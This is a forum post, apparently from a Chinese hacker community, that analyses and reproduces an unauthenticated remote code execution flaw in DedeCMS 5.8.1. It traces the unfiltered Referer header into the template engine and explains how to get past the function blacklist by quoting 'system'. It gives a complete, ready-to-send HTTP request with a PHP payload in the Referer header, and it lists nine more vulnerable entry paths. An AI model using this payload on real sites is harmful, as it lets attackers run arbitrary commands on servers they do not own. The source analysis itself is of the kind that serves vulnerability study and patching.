DedeCms V5.8.1 前台RCE漏洞分析与复现

1094 1
HK.JH 2022-2-12 23:58:44 来自手机 | 显示全部楼层 |阅读模式
漏洞分析

这个漏洞发生在 ShowMsg() 函数中,我们来看一下/plus/flink.php脚本

if ($dopost == 'save') {
    $validate = isset($validate) ? strtolower(trim($validate)) : '';
    $svali = GetCkVdValue();
    if ($validate == '' || $validate != $svali) {
        ShowMsg('验证码不正确!', '-1');
        exit();
    }

当 dopost 变量等于 save 且没有设置 validate 变量时,就会进入 ShowMsg() 函数,接着跳转跟踪一下 ShowMsg() 函数

跳转跟踪到/include/common.func.php
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) {
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        if ($gourl == "") {
            $gourl = -1;
        }
    }

从 $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; 可以看到,如果 $gourl 的值为-1 ,那么我就可以通过引入 REFERER 字段,控制 REFERER 字段的值,而且可以看到REFERER字段并未经过任何过滤处理,也就意味着 $gourl 可以注入我们的恶意语句,接着看看下一处调用 $gourl 的地方。

if ($onlymsg == 0) {
          if ($gourl != 'javascript:;' && $gourl != '') {
            // A
            $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
            $rmsg .= "<br/></div>\");\r\n";
            $rmsg .= "setTimeout('JumpUrl()',$litime);";
          } else {
            $rmsg .= "<br/></div>\");\r\n";
          }
        } else {
            $rmsg .= "<br/><br/></div>\");\r\n";
        }
        // B
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }
   
$tpl = new DedeTemplate();
    // C
    $tpl->LoadString($msg);
    $tpl->Display();
因为 onlymsg 的值默认就等于0,所以在A处 $gourl 的值传入到 $rmsg 变量中,又从B处传入到 $msg 变量中,最后交由C处的 LoadString() 函数和 Display() 函数处理,跳转跟踪LoadString() 函数。

public function LoadString($str = '')
{
    // D
        $this->sourceString = $str;
        $hashcode = md5($this->sourceString);
        $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
        $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
        $this->ParseTemplate();
    }
可以看到,带有恶意语句的 $msg 将会传入到D处的 sourceString 并载入模板字符串。继续跳转跟踪 Display() 函数。

public function Display()
{
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache();
        include $this->cacheFile;
    }
进入 Display() 函数后,又要进入 WriteCache() 函数,继续跳转跟踪 WriteCache() 函数。

public function WriteCache($ctype = 'all')
{
        if (!file_exists($this->cacheFile) || $this->isCache == false
            || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
        ) {
            if (!$this->isParse) {
                //...
            }
            $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
            flock($fp, 3);
            // E
            $result = trim($this->GetResult());
            $errmsg = '';     
            // F
            if (!$this->CheckDisabledFunctions($result, $errmsg)) {
                fclose($fp);
                @unlink($this->cacheFile);
                die($errmsg);
            }
            fwrite($fp, $result);
            fclose($fp);
            //...
        }
WriteCache() 函数负责解析模板并写缓存文件,所以sourceString会在 WriteCache() 函数中的E处得到解析结果,GetResult() 函数会调用返回值sourceString来设置 $result 变量,然后$result变量会在F处被CheckDisabledFunctions()函数调用,跳转跟踪CheckDisabledFunctions() 函数

public function CheckDisabledFunctions($str, &$errmsg = '')
{
        global $cfg_disable_funs;
        // G
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
        // 模板引擎增加disable_functions
        if (!defined('DEDEDISFUN')) {
            $tokens = token_get_all_nl($str);
            $disabled_functions = explode(',', $cfg_disable_funs);
            foreach ($tokens as $token) {
                if (is_array($token)) {
                    if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                        $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a  target="_blank">more...</a>';
                        return false;
                    }
                }
            }
        }
        return true;
    }
可以看到G处检查了是否存在禁止的函数,但是这里可以进行绕过,最后会回到A处拼接起来。

// A
$rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
因为这里我们注入的恶意语句会插入到标签内,如果用特殊符号将system引起来是可以进行绕过的,但是按照H5标签内的语法,只有单引和双引不会令H5语法发生报错。所以这里可以用单引和双引绕过 CheckDisabledFunctions() 函数的检查。
# 环境搭建



下载源码:

https://github.com/dedecms/DedeCMS/releases

利用 phpstudy 快速搭建Apache+PHP+MySQL环境

接着很简单,按照提示一步步进行安装。

这里提示我的PHP版本过低,要求PHP 7版本的,那么用phpstudy切换一下环境即可。

# 漏洞复现



Payload:

GET /DedeCMS-5.8.1/plus/flink.php?dopost=save&c=hostname HTTP/1.1
Host: 192.168.184.151
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=007erpeloffse8t2vi6ug42l13; _csrf_name_5c702021=53e683f11a071ecf207b7762c49c3601; _csrf_name_5c702021__ckMd5=6352ad6af0e1c833
Upgrade-Insecure-Requests: 1
Referer: <?php "system"($c);die;/*
备注:$c中的c字符是可变的,你想改成什么就什么

除此以外,还有以下路径存在未授权RCE漏洞:
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
利用的原理一样,都是 ShowMsg() 函数没有严格过滤 REFERER 字段惹的祸。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行